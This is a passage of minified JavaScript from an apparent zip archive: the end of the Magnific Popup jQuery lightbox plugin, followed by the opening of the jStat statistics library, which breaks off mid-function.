f=0;f<e.length;f++)if(c.el.hasClass("mfp-"+e[f])){d=e[f];break}c.src=c.el.attr("data-mfp-src"),c.src||(c.src=c.el.attr("href"))}return c.type=d||n.st.type||"inline",c.index=b,c.parsed=!0,n.items[b]=c,z("ElementParse",c),n.items[b]},addGroup:function(a,b){var c=function(c){c.mfpEl=this,n._openClick(c,a,b)};b||(b={});var d="click.magnificPopup";b.mainEl=a,b.items?(b.isObj=!0,a.off(d).on(d,c)):(b.isObj=!1,b.delegate?a.off(d).on(d,b.delegate,c):(b.items=a,a.off(d).on(d,c)))},_openClick:function(b,c,d){var e=d.midClick!==undefined?d.midClick:a.magnificPopup.defaults.midClick;if(!e&&(b.which===2||b.ctrlKey||b.metaKey))return;var f=d.disableOn!==undefined?d.disableOn:a.magnificPopup.defaults.disableOn;if(f)if(a.isFunction(f)){if(!f.call(n))return!0}else if(r.width()<f)return!0;b.type&&(b.preventDefault(),n.isOpen&&b.stopPropagation()),d.el=a(b.mfpEl),d.delegate&&(d.items=c.find(d.delegate)),n.open(d)},updateStatus:function(a,b){if(n.preloader){q!==a&&n.container.removeClass("mfp-s-"+q),!b&&a==="loading"&&(b=n.st.tLoading);var c={status:a,text:b};z("UpdateStatus",c),a=c.status,b=c.text,n.preloader.html(b),n.preloader.find("a").on("click",function(a){a.stopImmediatePropagation()}),n.container.addClass("mfp-s-"+a),q=a}},_checkIfClose:function(b){if(a(b).hasClass(m))return;var c=n.st.closeOnContentClick,d=n.st.closeOnBgClick;if(c&&d)return!0;if(!n.content||a(b).hasClass("mfp-close")||n.preloader&&b===n.preloader[0])return!0;if(b!==n.content[0]&&!a.contains(n.content[0],b)){if(d&&a.contains(document,b))return!0}else if(c)return!0;return!1},_addClassToMFP:function(a){n.bgOverlay.addClass(a),n.wrap.addClass(a)},_removeClassFromMFP:function(a){this.bgOverlay.removeClass(a),n.wrap.removeClass(a)},_hasScrollBar:function(a){return(n.isIE7?t.height():document.body.scrollHeight)>(a||r.height())},_setFocus:function(){(n.st.focus?n.content.find(n.st.focus).eq(0):n.wrap).focus()},_onFocusIn:function(b){if(b.target!==n.wrap[0]&&!a.contains(n.wrap[0],b.target))return n._setFocus(),!1},_parseMarkup:function(b,c,d){var e;d.data&&(c=a.extend(d.data,c)),z(f,[b,c,d]),a.each(c,function(a,c){if(c===undefined||c===!1)return!0;e=a.split("_");if(e.length>1){var d=b.find(j+"-"+e[0]);if(d.length>0){var f=e[1];f==="replaceWith"?d[0]!==c[0]&&d.replaceWith(c):f==="img"?d.is("img")?d.attr("src",c):d.replaceWith('<img src="'+c+'" class="'+d.attr("class")+'" />'):d.attr(e[1],c)}}else b.find(j+"-"+a).html(c)})},_getScrollbarSize:function(){if(n.scrollbarSize===undefined){var a=document.createElement("div");a.id="mfp-sbm",a.style.cssText="width: 99px; height: 99px; overflow: scroll; position: absolute; top: -9999px;",document.body.appendChild(a),n.scrollbarSize=a.offsetWidth-a.clientWidth,document.body.removeChild(a)}return n.scrollbarSize}},a.magnificPopup={instance:null,proto:o.prototype,modules:[],open:function(b,c){return B(),b?b=a.extend(!0,{},b):b={},b.isObj=!0,b.index=c||0,this.instance.open(b)},close:function(){return a.magnificPopup.instance&&a.magnificPopup.instance.close()},registerModule:function(b,c){c.options&&(a.magnificPopup.defaults[b]=c.options),a.extend(this.proto,c.proto),this.modules.push(b)},defaults:{disableOn:0,key:null,midClick:!1,mainClass:"",preloader:!0,focus:"",closeOnContentClick:!1,closeOnBgClick:!0,closeBtnInside:!0,showCloseBtn:!0,enableEscapeKey:!0,modal:!1,alignTop:!1,removalDelay:0,prependTo:null,fixedContentPos:"auto",fixedBgPos:"auto",overflowY:"auto",closeMarkup:'<button title="%title%" type="button" class="mfp-close">&times;</button>',tClose:"Close (Esc)",tLoading:"Loading..."}},a.fn.magnificPopup=function(b){B();var c=a(this);if(typeof b=="string")if(b==="open"){var d,e=p?c.data("magnificPopup"):c[0].magnificPopup,f=parseInt(arguments[1],10)||0;e.items?d=e.items[f]:(d=c,e.delegate&&(d=d.find(e.delegate)),d=d.eq(f)),n._openClick({mfpEl:d},c,e)}else n.isOpen&&n[b].apply(n,Array.prototype.slice.call(arguments,1));else b=a.extend(!0,{},b),p?c.data("magnificPopup",b):c[0].magnificPopup=b,n.addGroup(c,b);return c};var D="inline",E,F,G,H=function(){G&&(F.after(G.addClass(E)).detach(),G=null)};a.magnificPopup.registerModule(D,{options:{hiddenClass:"hide",markup:"",tNotFound:"Content not found"},proto:{initInline:function(){n.types.push(D),x(b+"."+D,function(){H()})},getInline:function(b,c){H();if(b.src){var d=n.st.inline,e=a(b.src);if(e.length){var f=e[0].parentNode;f&&f.tagName&&(F||(E=d.hiddenClass,F=y(E),E="mfp-"+E),G=e.after(F).detach().removeClass(E)),n.updateStatus("ready")}else n.updateStatus("error",d.tNotFound),e=a("<div>");return b.inlineElement=e,e}return n.updateStatus("ready"),n._parseMarkup(c,{},b),c}}});var I="ajax",J,K=function(){J&&s.removeClass(J)},L=function(){K(),n.req&&n.req.abort()};a.magnificPopup.registerModule(I,{options:{settings:null,cursor:"mfp-ajax-cur",tError:'<a href="%url%">The content</a> could not be loaded.'},proto:{initAjax:function(){n.types.push(I),J=n.st.ajax.cursor,x(b+"."+I,L),x("BeforeChange."+I,L)},getAjax:function(b){J&&s.addClass(J),n.updateStatus("loading");var c=a.extend({url:b.src,success:function(c,d,e){var f={data:c,xhr:e};z("ParseAjax",f),n.appendContent(a(f.data),I),b.finished=!0,K(),n._setFocus(),setTimeout(function(){n.wrap.addClass(k)},16),n.updateStatus("ready"),z("AjaxContentAdded")},error:function(){K(),b.finished=b.loadError=!0,n.updateStatus("error",n.st.ajax.tError.replace("%url%",b.src))}},n.st.ajax.settings);return n.req=a.ajax(c),""}}});var M,N=function(b){if(b.data&&b.data.title!==undefined)return b.data.title;var c=n.st.image.titleSrc;if(c){if(a.isFunction(c))return c.call(n,b);if(b.el)return b.el.attr(c)||""}return""};a.magnificPopup.registerModule("image",{options:{markup:'<div class="mfp-figure"><div class="mfp-close"></div><figure><div class="mfp-img"></div><figcaption><div class="mfp-bottom-bar"><div class="mfp-title"></div><div class="mfp-counter"></div></div></figcaption></figure></div>',cursor:"mfp-zoom-out-cur",titleSrc:"title",verticalFit:!0,tError:'<a href="%url%">The image</a> could not be loaded.'},proto:{initImage:function(){var a=n.st.image,c=".image";n.types.push("image"),x(g+c,function(){n.currItem.type==="image"&&a.cursor&&s.addClass(a.cursor)}),x(b+c,function(){a.cursor&&s.removeClass(a.cursor),r.off("resize"+j)}),x("Resize"+c,n.resizeImage),n.isLowIE&&x("AfterChange",n.resizeImage)},resizeImage:function(){var a=n.currItem;if(!a||!a.img)return;if(n.st.image.verticalFit){var b=0;n.isLowIE&&(b=parseInt(a.img.css("padding-top"),10)+parseInt(a.img.css("padding-bottom"),10)),a.img.css("max-height",n.wH-b)}},_onImageHasSize:function(a){a.img&&(a.hasSize=!0,M&&clearInterval(M),a.isCheckingImgSize=!1,z("ImageHasSize",a),a.imgHidden&&(n.content&&n.content.removeClass("mfp-loading"),a.imgHidden=!1))},findImageSize:function(a){var b=0,c=a.img[0],d=function(e){M&&clearInterval(M),M=setInterval(function(){if(c.naturalWidth>0){n._onImageHasSize(a);return}b>200&&clearInterval(M),b++,b===3?d(10):b===40?d(50):b===100&&d(500)},e)};d(1)},getImage:function(b,c){var d=0,e=function(){b&&(b.img[0].complete?(b.img.off(".mfploader"),b===n.currItem&&(n._onImageHasSize(b),n.updateStatus("ready")),b.hasSize=!0,b.loaded=!0,z("ImageLoadComplete")):(d++,d<200?setTimeout(e,100):f()))},f=function(){b&&(b.img.off(".mfploader"),b===n.currItem&&(n._onImageHasSize(b),n.updateStatus("error",g.tError.replace("%url%",b.src))),b.hasSize=!0,b.loaded=!0,b.loadError=!0)},g=n.st.image,h=c.find(".mfp-img");if(h.length){var i=document.createElement("img");i.className="mfp-img",b.img=a(i).on("load.mfploader",e).on("error.mfploader",f),i.src=b.src,h.is("img")&&(b.img=b.img.clone()),i=b.img[0],i.naturalWidth>0?b.hasSize=!0:i.width||(b.hasSize=!1)}return n._parseMarkup(c,{title:N(b),img_replaceWith:b.img},b),n.resizeImage(),b.hasSize?(M&&clearInterval(M),b.loadError?(c.addClass("mfp-loading"),n.updateStatus("error",g.tError.replace("%url%",b.src))):(c.removeClass("mfp-loading"),n.updateStatus("ready")),c):(n.updateStatus("loading"),b.loading=!0,b.hasSize||(b.imgHidden=!0,c.addClass("mfp-loading"),n.findImageSize(b)),c)}}});var O,P=function(){return O===undefined&&(O=document.createElement("p").style.MozTransform!==undefined),O};a.magnificPopup.registerModule("zoom",{options:{enabled:!1,easing:"ease-in-out",duration:300,opener:function(a){return a.is("img")?a:a.find("img")}},proto:{initZoom:function(){var a=n.st.zoom,d=".zoom",e;if(!a.enabled||!n.supportsTransition)return;var f=a.duration,g=function(b){var c=b.clone().removeAttr("style").removeAttr("class").addClass("mfp-animated-image"),d="all "+a.duration/1e3+"s "+a.easing,e={position:"fixed",zIndex:9999,left:0,top:0,"-webkit-backface-visibility":"hidden"},f="transition";return e["-webkit-"+f]=e["-moz-"+f]=e["-o-"+f]=e[f]=d,c.css(e),c},h=function(){n.content.css("visibility","visible")},i,j;x("BuildControls"+d,function(){if(n._allowZoom()){clearTimeout(i),n.content.css("visibility","hidden"),e=n._getItemToZoom();if(!e){h();return}j=g(e),j.css(n._getOffset()),n.wrap.append(j),i=setTimeout(function(){j.css(n._getOffset(!0)),i=setTimeout(function(){h(),setTimeout(function(){j.remove(),e=j=null,z("ZoomAnimationEnded")},16)},f)},16)}}),x(c+d,function(){if(n._allowZoom()){clearTimeout(i),n.st.removalDelay=f;if(!e){e=n._getItemToZoom();if(!e)return;j=g(e)}j.css(n._getOffset(!0)),n.wrap.append(j),n.content.css("visibility","hidden"),setTimeout(function(){j.css(n._getOffset())},16)}}),x(b+d,function(){n._allowZoom()&&(h(),j&&j.remove(),e=null)})},_allowZoom:function(){return n.currItem.type==="image"},_getItemToZoom:function(){return n.currItem.hasSize?n.currItem.img:!1},_getOffset:function(b){var c;b?c=n.currItem.img:c=n.st.zoom.opener(n.currItem.el||n.currItem);var d=c.offset(),e=parseInt(c.css("padding-top"),10),f=parseInt(c.css("padding-bottom"),10);d.top-=a(window).scrollTop()-e;var g={width:c.width(),height:(p?c.innerHeight():c[0].offsetHeight)-f-e};return P()?g["-moz-transform"]=g.transform="translate("+d.left+"px,"+d.top+"px)":(g.left=d.left,g.top=d.top),g}}});var Q="iframe",R="//about:blank",S=function(a){if(n.currTemplate[Q]){var b=n.currTemplate[Q].find("iframe");b.length&&(a||(b[0].src=R),n.isIE8&&b.css("display",a?"block":"none"))}};a.magnificPopup.registerModule(Q,{options:{markup:'<div class="mfp-iframe-scaler"><div class="mfp-close"></div><iframe class="mfp-iframe" src="//about:blank" frameborder="0" allowfullscreen></iframe></div>',srcAction:"iframe_src",patterns:{youtube:{index:"youtube.com",id:"v=",src:"//www.youtube.com/embed/%id%?autoplay=1"},vimeo:{index:"vimeo.com/",id:"/",src:"//player.vimeo.com/video/%id%?autoplay=1"},gmaps:{index:"//maps.google.",src:"%id%&output=embed"}}},proto:{initIframe:function(){n.types.push(Q),x("BeforeChange",function(a,b,c){b!==c&&(b===Q?S():c===Q&&S(!0))}),x(b+"."+Q,function(){S()})},getIframe:function(b,c){var d=b.src,e=n.st.iframe;a.each(e.patterns,function(){if(d.indexOf(this.index)>-1)return this.id&&(typeof this.id=="string"?d=d.substr(d.lastIndexOf(this.id)+this.id.length,d.length):d=this.id.call(this,d)),d=this.src.replace("%id%",d),!1});var f={};return e.srcAction&&(f[e.srcAction]=d),n._parseMarkup(c,f,b),n.updateStatus("ready"),c}}});var T=function(a){var b=n.items.length;return a>b-1?a-b:a<0?b+a:a},U=function(a,b,c){return a.replace(/%curr%/gi,b+1).replace(/%total%/gi,c)};a.magnificPopup.registerModule("gallery",{options:{enabled:!1,arrowMarkup:'<button title="%title%" type="button" class="mfp-arrow mfp-arrow-%dir%"></button>',preload:[0,2],navigateByImgClick:!0,arrows:!0,tPrev:"Previous (Left arrow key)",tNext:"Next (Right arrow key)",tCounter:"%curr% of %total%"},proto:{initGallery:function(){var c=n.st.gallery,d=".mfp-gallery",e=Boolean(a.fn.mfpFastClick);n.direction=!0;if(!c||!c.enabled)return!1;v+=" mfp-gallery",x(g+d,function(){c.navigateByImgClick&&n.wrap.on("click"+d,".mfp-img",function(){if(n.items.length>1)return n.next(),!1}),t.on("keydown"+d,function(a){a.keyCode===37?n.prev():a.keyCode===39&&n.next()})}),x("UpdateStatus"+d,function(a,b){b.text&&(b.text=U(b.text,n.currItem.index,n.items.length))}),x(f+d,function(a,b,d,e){var f=n.items.length;d.counter=f>1?U(c.tCounter,e.index,f):""}),x("BuildControls"+d,function(){if(n.items.length>1&&c.arrows&&!n.arrowLeft){var b=c.arrowMarkup,d=n.arrowLeft=a(b.replace(/%title%/gi,c.tPrev).replace(/%dir%/gi,"left")).addClass(m),f=n.arrowRight=a(b.replace(/%title%/gi,c.tNext).replace(/%dir%/gi,"right")).addClass(m),g=e?"mfpFastClick":"click";d[g](function(){n.prev()}),f[g](function(){n.next()}),n.isIE7&&(y("b",d[0],!1,!0),y("a",d[0],!1,!0),y("b",f[0],!1,!0),y("a",f[0],!1,!0)),n.container.append(d.add(f))}}),x(h+d,function(){n._preloadTimeout&&clearTimeout(n._preloadTimeout),n._preloadTimeout=setTimeout(function(){n.preloadNearbyImages(),n._preloadTimeout=null},16)}),x(b+d,function(){t.off(d),n.wrap.off("click"+d),n.arrowLeft&&e&&n.arrowLeft.add(n.arrowRight).destroyMfpFastClick(),n.arrowRight=n.arrowLeft=null})},next:function(){n.direction=!0,n.index=T(n.index+1),n.updateItemHTML()},prev:function(){n.direction=!1,n.index=T(n.index-1),n.updateItemHTML()},goTo:function(a){n.direction=a>=n.index,n.index=a,n.updateItemHTML()},preloadNearbyImages:function(){var a=n.st.gallery.preload,b=Math.min(a[0],n.items.length),c=Math.min(a[1],n.items.length),d;for(d=1;d<=(n.direction?c:b);d++)n._preloadItem(n.index+d);for(d=1;d<=(n.direction?b:c);d++)n._preloadItem(n.index-d)},_preloadItem:function(b){b=T(b);if(n.items[b].preloaded)return;var c=n.items[b];c.parsed||(c=n.parseEl(b)),z("LazyLoad",c),c.type==="image"&&(c.img=a('<img class="mfp-img" />').on("load.mfploader",function(){c.hasSize=!0}).on("error.mfploader",function(){c.hasSize=!0,c.loadError=!0,z("LazyLoadError",c)}).attr("src",c.src)),c.preloaded=!0}}});var V="retina";a.magnificPopup.registerModule(V,{options:{replaceSrc:function(a){return a.src.replace(/\.\w+$/,function(a){return"@2x"+a})},ratio:1},proto:{initRetina:function(){if(window.devicePixelRatio>1){var a=n.st.retina,b=a.ratio;b=isNaN(b)?b():b,b>1&&(x("ImageHasSize."+V,function(a,c){c.img.css({"max-width":c.img[0].naturalWidth/b,width:"100%"})}),x("ElementParse."+V,function(c,d){d.src=a.replaceSrc(d,b)}))}}}}),function(){var b=1e3,c="ontouchstart"in window,d=function(){r.off("touchmove"+f+" touchend"+f)},e="mfpFastClick",f="."+e;a.fn.mfpFastClick=function(e){return a(this).each(function(){var g=a(this),h;if(c){var i,j,k,l,m,n;g.on("touchstart"+f,function(a){l=!1,n=1,m=a.originalEvent?a.originalEvent.touches[0]:a.touches[0],j=m.clientX,k=m.clientY,r.on("touchmove"+f,function(a){m=a.originalEvent?a.originalEvent.touches:a.touches,n=m.length,m=m[0];if(Math.abs(m.clientX-j)>10||Math.abs(m.clientY-k)>10)l=!0,d()}).on("touchend"+f,function(a){d();if(l||n>1)return;h=!0,a.preventDefault(),clearTimeout(i),i=setTimeout(function(){h=!1},b),e()})})}g.on("click"+f,function(){h||e()})})},a.fn.destroyMfpFastClick=function(){a(this).off("touchstart"+f+" click"+f),c&&r.off("touchmove"+f+" touchend"+f)}}(),B()})(window.jQuery||window.Zepto)PK     N\    js/jstat.min.jsnu [        (function(window,factory){if(typeof exports==="object"){module.exports=factory()}else if(typeof define==="function"&&define.amd){define(factory)}else{window.jStat=factory()}})(this,function(){var jStat=function(Math,undefined){var concat=Array.prototype.concat;var slice=Array.prototype.slice;var toString=Object.prototype.toString;function calcRdx(n,m){var val=n>m?n:m;return Math.pow(10,17-~~(Math.log(val>0?val:-val)*Math.LOG10E))}var isArray=Array.isArray||function isArray(arg){return toString.call(arg)==="[object Array]"};function isFunction(arg){return toString.call(arg)==="[object Function]"}function isNumber(num){return typeof num==="number"?num-num===0:false}function toVector(arr){return concat.apply([],arr)}function jStat(){return new jStat._init(arguments)}jStat.fn=jStat.prototype;jStat._init=function _init(args){if(isArray(args[0])){if(isArray(args[0][0])){if(isFunction(args[1]))args[0]=jStat.map(args[0],args[1]);for(var i=0;i<args[0].length;i++)this[i]=args[0][i];this.length=args[0].length}else{this[0]=isFunction(args[1])?jStat.map(args[0],args[1]):args[0];this.length=1}}else if(isNumber(args[0])){this[0]=jStat.seq.apply(null,args);this.length=1}else if(args[0]instanceof jStat){return jStat(args[0].toArray())}else{this[0]=[];this.length=1}return this};jStat._init.prototype=jStat.prototype;jStat._init.constructor=jStat;jStat.utils={calcRdx:calcRdx,isArray:isArray,isFunction:isFunction,isNumber:isNumber,toVector:toVector};jStat._random_fn=Math.random;jStat.setRandom=function setRandom(fn){if(typeof fn!=="function")throw new TypeError("fn is not a function");jStat._random_fn=fn};jStat.extend=function extend(obj){var i,j;if(arguments.length===1){for(j in obj)jStat[j]=obj[j];return this}for(i=1;i<arguments.length;i++){for(j in arguments[i])obj[j]=arguments[i][j]}return obj};jStat.rows=function rows(arr){return arr.length||1};jStat.cols=function cols(arr){return arr[0].length||1};jStat.dimensions=function dimensions(arr){return{rows:jStat.rows(arr),cols:jStat.cols(arr)}};jStat.row=function row(arr,index){if(isArray(index)){return index.map(function(i){return jStat.row(arr,i)})}return arr[index]};jStat.rowa=function rowa(arr,i){return jStat.row(arr,i)};jStat.col=function col(arr,index){if(isArray(index)){var submat=jStat.arange(arr.length).map(function(){return new Array(index.length)});index.forEach(function(ind,i){jStat.arange(arr.length).forEach(function(j){submat[j][i]=arr[j][ind]})});return submat}var column=new Array(arr.length);for(var i=0;i<arr.length;i++)column[i]=[arr[i][index]];return column};jStat.cola=function cola(arr,i){return jStat.col(arr,i).map(function(a){return a[0]})};jStat.diag=function diag(arr){var nrow=jStat.rows(arr);var res=new Array(nrow);for(var row=0;row<nrow;row++)res[row]=[arr[row][row]];return res};jStat.antidiag=function antidiag(arr){var nrow=jStat.rows(arr)-1;var res=new Array(nrow);for(var i=0;nrow>=0;nrow--,i++)res[i]=[arr[i][nrow]];return res};jStat.transpose=function transpose(arr){var obj=[];var objArr,rows,cols,j,i;if(!isArray(arr[0]))arr=[arr];rows=arr.length;cols=arr[0].length;for(i=0;i<cols;i++){objArr=new Array(rows);for(j=0;j<rows;j++)objArr[j]=arr[j][i];obj.push(objArr)}return obj.length===1?obj[0]:obj};jStat.map=function map(arr,func,toAlter){var row,nrow,ncol,res,col;if(!isArray(arr[0]))arr=[arr];nrow=arr.length;ncol=arr[0].length;res=toAlter?arr:new Array(nrow);for(row=0;row<nrow;row++){if(!res[row])res[row]=new Array(ncol);for(col=0;col<ncol;col++)res[row][col]=func(arr[row][col],row,col)}return res.length===1?res[0]:res};jStat.cumreduce=function cumreduce(arr,func,toAlter){var row,nrow,ncol,res,col;if(!isArray(arr[0]))arr=[arr];nrow=arr.length;ncol=arr[0].length;res=toAlter?arr:new Array(nrow);for(row=0;row<nrow;row++){if(!res[row])res[row]=new Array(ncol);if(ncol>0)res[row][0]=arr[row][0];for(col=1;col<ncol;col++)res[row][col]=func(res[row][col-1],arr[row][col])}return res.length===1?res[0]:res};jStat.alter=function alter(arr,func){return jStat.map(arr,func,true)};jStat.create=function create(rows,cols,func){var res=new Array(rows);var i,j;if(isFunction(cols)){func=cols;cols=rows}for(i=0;i<rows;i++){res[i]=new Array(cols);for(j=0;j<cols;j++)res[i][j]=func(i,j)}return res};function retZero(){return 0}jStat.zeros=function zeros(rows,cols){if(!isNumber(cols))cols=rows;return jStat.create(rows,cols,retZero)};function retOne(){return 1}jStat.ones=function ones(rows,cols){if(!isNumber(cols))cols=rows;return jStat.create(rows,cols,retOne)};jStat.rand=function rand(rows,cols){if(!isNumber(cols))cols=rows;return jStat.create(rows,cols,jStat._random_fn)};function retIdent(i,j){return i===j?1:0}jStat.identity=function identity(rows,cols){if(!isNumber(cols))cols=rows;return jStat.create(rows,cols,retIdent)};jStat.symmetric=function symmetric(arr){var size=arr.length;var row,col;if(arr.length!==arr[0].length)return false;for(row=0;row<size;row++){for(col=0;col<size;col++)if(arr[col][row]!==arr[row][col])return false}return true};jStat.clear=function clear(arr){return jStat.alter(arr,retZero)};jStat.seq=function seq(min,max,length,func){if(!isFunction(func))func=false;var arr=[];var hival=calcRdx(min,max);var step=(max*hival-min*hival)/((length-1)*hival);var current=min;var cnt;for(cnt=0;current<=max&&cnt<length;cnt++,current=(min*hival+step*hival*cnt)/hival){arr.push(func?func(current,cnt):current)}return arr};jStat.arange=function arange(start,end,step){var rl=[];var i;step=step||1;if(end===undefined){end=start;start=0}if(start===end||step===0){return[]}if(start<end&&step<0){return[]}if(start>end&&step>0){return[]}if(step>0){for(i=start;i<end;i+=step){rl.push(i)}}else{for(i=start;i>end;i+=step){rl.push(i)}}return rl};jStat.slice=function(){function _slice(list,start,end,step){var i;var rl=[];var length=list.length;if(start===undefined&&end===undefined&&step===undefined){return jStat.copy(list)}start=start||0;end=end||list.length;start=start>=0?start:length+start;end=end>=0?end:length+end;step=step||1;if(start===end||step===0){return[]}if(start<end&&step<0){return[]}if(start>end&&step>0){return[]}if(step>0){for(i=start;i<end;i+=step){rl.push(list[i])}}else{for(i=start;i>end;i+=step){rl.push(list[i])}}return rl}function slice(list,rcSlice){var colSlice,rowSlice;rcSlice=rcSlice||{};if(isNumber(rcSlice.row)){if(isNumber(rcSlice.col))return list[rcSlice.row][rcSlice.col];var row=jStat.rowa(list,rcSlice.row);colSlice=rcSlice.col||{};return _slice(row,colSlice.start,colSlice.end,colSlice.step)}if(isNumber(rcSlice.col)){var col=jStat.cola(list,rcSlice.col);rowSlice=rcSlice.row||{};return _slice(col,rowSlice.start,rowSlice.end,rowSlice.step)}rowSlice=rcSlice.row||{};colSlice=rcSlice.col||{};var rows=_slice(list,rowSlice.start,rowSlice.end,rowSlice.step);return rows.map(function(row){return _slice(row,colSlice.start,colSlice.end,colSlice.step)})}return slice}();jStat.sliceAssign=function sliceAssign(A,rcSlice,B){var nl,ml;if(isNumber(rcSlice.row)){if(isNumber(rcSlice.col))return A[rcSlice.row][rcSlice.col]=B;rcSlice.col=rcSlice.col||{};rcSlice.col.start=rcSlice.col.start||0;rcSlice.col.end=rcSlice.col.end||A[0].length;rcSlice.col.step=rcSlice.col.step||1;nl=jStat.arange(rcSlice.col.start,Math.min(A.length,rcSlice.col.end),rcSlice.col.step);var m=rcSlice.row;nl.forEach(function(n,i){A[m][n]=B[i]});return A}if(isNumber(rcSlice.col)){rcSlice.row=rcSlice.row||{};rcSlice.row.start=rcSlice.row.start||0;rcSlice.row.end=rcSlice.row.end||A.length;rcSlice.row.step=rcSlice.row.step||1;ml=jStat.arange(rcSlice.row.start,Math.min(A[0].length,rcSlice.row.end),rcSlice.row.step);var n=rcSlice.col;ml.forEach(function(m,j){A[m][n]=B[j]});return A}if(B[0].length===undefined){B=[B]}rcSlice.row.start=rcSlice.row.start||0;rcSlice.row.end=rcSlice.row.end||A.length;rcSlice.row.step=rcSlice.row.step||1;rcSlice.col.start=rcSlice.col.start||0;rcSlice.col.end=rcSlice.col.end||A[0].length;rcSlice.col.step=rcSlice.col.step||1;ml=jStat.arange(rcSlice.row.start,Math.min(A.length,rcSlice.row.end),rcSlice.row.step);nl=jStat.arange(rcSlice.col.start,Math.min(A[0].length,rcSlice.col.end),rcSlice.col.step);ml.forEach(function(m,i){nl.forEach(function(n,j){A[m][n]=B[i][j]})});return A};jStat.diagonal=function diagonal(diagArray){var mat=jStat.zeros(diagArray.length,diagArray.length);diagArray.forEach(function(t,i){mat[i][i]=t});return mat};jStat.copy=function copy(A){return A.map(function(row){if(isNumber(row))return row;return row.map(function(t){return t})})};var jProto=jStat.prototype;jProto.length=0;jProto.push=Array.prototype.push;jProto.sort=Array.prototype.sort;jProto.splice=Array.prototype.splice;jProto.slice=Array.prototype.slice;jProto.toArray=function toArray(){return this.length>1?slice.call(this):slice.call(this)[0]};jProto.map=function map(func,toAlter){return jStat(jStat.map(this,func,toAlter))};jProto.cumreduce=function cumreduce(func,toAlter){return jStat(jStat.cumreduce(this,func,toAlter))};jProto.alter=function alter(func){jStat.alter(this,func);return this};(function(funcs){for(var i=0;i<funcs.length;i++)(function(passfunc){jProto[passfunc]=function(func){var self=this,results;if(func){setTimeout(function(){func.call(self,jProto[passfunc].call(self))});return this}results=jStat[passfunc](this);return isArray(results)?jStat(results):results}})(funcs[i])})("transpose clear symmetric rows cols dimensions diag antidiag".split(" "));(function(funcs){for(var i=0;i<funcs.length;i++)(function(passfunc){jProto[passfunc]=function(index,func){var self=this;if(func){setTimeout(function(){func.call(self,jProto[passfunc].call(self,index))});return this}return jStat(jStat[passfunc](this,index))}})(funcs[i])})("row col".split(" "));(function(funcs){for(var i=0;i<funcs.length;i++)(function(passfunc){jProto[passfunc]=function(){return jStat(jStat[passfunc].apply(null,arguments))}})(funcs[i])})("create zeros ones rand identity".split(" "));return jStat}(Math);(function(jStat,Math){var isFunction=jStat.utils.isFunction;function ascNum(a,b){return a-b}function clip(arg,min,max){return Math.max(min,Math.min(arg,max))}jStat.sum=function sum(arr){var sum=0;var i=arr.length;while(--i>=0)sum+=arr[i];return sum};jStat.sumsqrd=function sumsqrd(arr){var sum=0;var i=arr.length;while(--i>=0)sum+=arr[i]*arr[i];return sum};jStat.sumsqerr=function sumsqerr(arr){var mean=jStat.mean(arr);var sum=0;var i=arr.length;var tmp;while(--i>=0){tmp=arr[i]-mean;sum+=tmp*tmp}return sum};jStat.sumrow=function sumrow(arr){var sum=0;var i=arr.length;while(--i>=0)sum+=arr[i];return sum};jStat.product=function product(arr){var prod=1;var i=arr.length;while(--i>=0)prod*=arr[i];return prod};jStat.min=function min(arr){var low=arr[0];var i=0;while(++i<arr.length)if(arr[i]<low)low=arr[i];return low};jStat.max=function max(arr){var high=arr[0];var i=0;while(++i<arr.length)if(arr[i]>high)high=arr[i];return high};jStat.unique=function unique(arr){var hash={},_arr=[];for(var i=0;i<arr.length;i++){if(!hash[arr[i]]){hash[arr[i]]=true;_arr.push(arr[i])}}return _arr};jStat.mean=function mean(arr){return jStat.sum(arr)/arr.length};jStat.meansqerr=function meansqerr(arr){return jStat.sumsqerr(arr)/arr.length};jStat.geomean=function geomean(arr){var logs=arr.map(Math.log);var meanOfLogs=jStat.mean(logs);return Math.exp(meanOfLogs)};jStat.median=function median(arr){var arrlen=arr.length;var _arr=arr.slice().sort(ascNum);return!(arrlen&1)?(_arr[arrlen/2-1]+_arr[arrlen/2])/2:_arr[arrlen/2|0]};jStat.cumsum=function cumsum(arr){return jStat.cumreduce(arr,function(a,b){return a+b})};jStat.cumprod=function cumprod(arr){return jStat.cumreduce(arr,function(a,b){return a*b})};jStat.diff=function diff(arr){var diffs=[];var arrLen=arr.length;var i;for(i=1;i<arrLen;i++)diffs.push(arr[i]-arr[i-1]);return diffs};jStat.rank=function(arr){var i;var distinctNumbers=[];var numberCounts={};for(i=0;i<arr.length;i++){var number=arr[i];if(numberCounts[number]){numberCounts[number]++}else{numberCounts[number]=1;distinctNumbers.push(number)}}var sortedDistinctNumbers=distinctNumbers.sort(ascNum);var numberRanks={};var currentRank=1;for(i=0;i<sortedDistinctNumbers.length;i++){var number=sortedDistinctNumbers[i];var count=numberCounts[number];var first=currentRank;var last=currentRank+count-1;var rank=(first+last)/2;numberRanks[number]=rank;currentRank+=count}return arr.map(function(number){return numberRanks[number]})};jStat.mode=function mode(arr){var arrLen=arr.length;var _arr=arr.slice().sort(ascNum);var count=1;var maxCount=0;var numMaxCount=0;var mode_arr=[];var i;for(i=0;i<arrLen;i++){if(_arr[i]===_arr[i+1]){count++}else{if(count>maxCount){mode_arr=[_arr[i]];maxCount=count;numMaxCount=0}else if(count===maxCount){mode_arr.push(_arr[i]);numMaxCount++}count=1}}return numMaxCount===0?mode_arr[0]:mode_arr};jStat.range=function range(arr){return jStat.max(arr)-jStat.min(arr)};jStat.variance=function variance(arr,flag){return jStat.sumsqerr(arr)/(arr.length-(flag?1:0))};jStat.pooledvariance=function pooledvariance(arr){var sumsqerr=arr.reduce(function(a,samples){return a+jStat.sumsqerr(samples)},0);var count=arr.reduce(function(a,samples){return a+samples.length},0);return sumsqerr/(count-arr.length)};jStat.deviation=function(arr){var mean=jStat.mean(arr);var arrlen=arr.length;var dev=new Array(arrlen);for(var i=0;i<arrlen;i++){dev[i]=arr[i]-mean}return dev};jStat.stdev=function stdev(arr,flag){return Math.sqrt(jStat.variance(arr,flag))};jStat.pooledstdev=function pooledstdev(arr){return Math.sqrt(jStat.pooledvariance(arr))};jStat.meandev=function meandev(arr){var mean=jStat.mean(arr);var a=[];for(var i=arr.length-1;i>=0;i--){a.push(Math.abs(arr[i]-mean))}return jStat.mean(a)};jStat.meddev=function meddev(arr){var median=jStat.median(arr);var a=[];for(var i=arr.length-1;i>=0;i--){a.push(Math.abs(arr[i]-median))}return jStat.median(a)};jStat.coeffvar=function coeffvar(arr){return jStat.stdev(arr)/jStat.mean(arr)};jStat.quartiles=function quartiles(arr){var arrlen=arr.length;var 